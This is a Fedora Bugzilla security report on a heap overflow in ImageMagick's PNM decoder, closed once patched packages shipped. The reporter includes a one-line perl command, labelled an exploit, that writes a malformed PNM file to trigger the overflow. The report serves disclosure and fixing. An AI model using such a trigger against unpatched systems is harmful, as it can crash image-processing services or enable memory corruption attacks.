Bug 155954

Summary:	ImageMagick PNM heap overflow
Product:	[Fedora] Fedora	Reporter:	Josh Bressers <bressers>
Component:	ImageMagick	Assignee:	Matthias Clasen <mclasen>
Status:	CLOSED ERRATA	QA Contact:	Mike McLean <mikem>
Severity:	high	Docs Contact:
Priority:	medium
Version:	rawhide	CC:	marius.andreiana
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:	impact=important,public=20050424,source=gentoo,reported=20050425
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2005-08-20 07:44:49 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:

Description Josh Bressers 2005-04-26 01:31:47 UTC

+++ This bug was initially created as a clone of Bug #155953 +++

A heap based buffer overflow exists in ImageMagick's PNM decoder.

http://www.overflow.pl/adv/imheapoverflow.txt

Here's exploit (in the event the website vanishes)
perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm

Comment 1 Matthias Clasen 2005-04-26 14:54:27 UTC

I'm building 6.2.2 packages for Rawhide and FC3

Comment 2 Marius Andreiana 2005-08-20 07:44:49 UTC

Packages are in fc3 updates